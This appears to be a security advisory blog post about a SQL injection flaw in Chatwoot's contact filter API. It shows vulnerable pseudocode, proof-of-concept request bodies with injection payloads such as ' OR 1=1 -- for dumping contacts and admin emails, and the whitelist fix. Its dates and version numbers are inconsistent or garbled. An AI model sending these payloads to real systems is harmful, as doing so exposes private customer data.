CVE-2025-21628 - Severe SQL Injection Flaw in Chatwoot Below v3.16. Lets Attackers Run Arbitrary Queries

Chatwoot is a popular open-source customer engagement platform used by businesses worldwide to manage conversations, contacts, and support tickets. On March 2025, a critical security issue—CVE-2025-21628—was publicly disclosed, affecting all Chatwoot deployments prior to version 3.16.. In this deep-dive, we’ll explain the vulnerability, show proof-of-concept exploitation, and guide you on how to secure your system.

What is CVE-2025-21628?

The vulnerability lies in the “conversation” and “contact” filter endpoints in Chatwoot’s API. Specifically, the query_operator parameter was not properly sanitized. This let any authenticated user (even with low privileges) inject custom SQL conditions, potentially exposing or manipulating chat data.

Why Does This Happen?

When creating advanced filters for contacts or conversations, Chatwoot’s backend would accept operator expressions from the frontend without validation. Malicious users could abuse this by inserting dangerous SQL statements, like tautologies or even destructive commands.

A simplified endpoint for filtering contacts might look like

# Pseudocode (app/controllers/api/v1/contacts_controller.rb)

def index
  operator = params[:query_operator] # e.g. "LIKE", "=", "' OR 1=1 --"
  value = params[:query_value]
  contacts = Contact.where("email #{operator} ?", value) # Vulnerable point!
  render json: contacts
end

Here, if a user submits a crafted query_operator, they can break out of the intended query structure.

Exploiting the Bug: Proof of Concept

Let’s assume you’re an authenticated Chatwoot user (could be a low-level agent).

Malicious Request

Suppose you want to fetch all contacts, ignoring any filtering logic.

Send the following API request

POST /api/v1/contacts/filter
Content-Type: application/json
Authorization: Bearer <your-token>

{
  "query_operator": "' OR 1=1 --",
  "query_value": ""
}

This results in a SQL query like

SELECT * FROM contacts WHERE email '' OR 1=1 -- ?;

The part OR 1=1 always returns true, so all contacts are returned. An attacker could use similar tricks to exfiltrate or corrupt database data, depending on the ORM’s protections.

Say you want to leak admin users’ emails. Use this filter

{
  "query_operator": "' OR (role = 'admin') --",
  "query_value": ""
}

Official Fix

Chatwoot patched this in v3.16. by whitelisting acceptable operators and performing strict server-side validation.

Patched code snippet

SAFE_OPERATORS = ["=", "LIKE", "ILIKE"]
operator = SAFE_OPERATORS.include?(params[:query_operator]) ? params[:query_operator] : "="
# Remainder of query...

References

- Chatwoot CVE-2025-21628 Security Advisory
- Chatwoot v3.16. Release
- SQL Injection on Wikipedia

Final Thoughts

CVE-2025-21628 is a serious SQL injection vulnerability affecting many Chatwoot installations before v3.16.. If you’re running Chatwoot, update immediately—even if your installation is behind authentication. Remember, all authenticated users could exploit this to view or manipulate database content.

Make sure to patch, audit user privileges, and monitor your logs for any suspicious filter API usage.

Timeline

Published on: 01/09/2025 18:15:30 UTC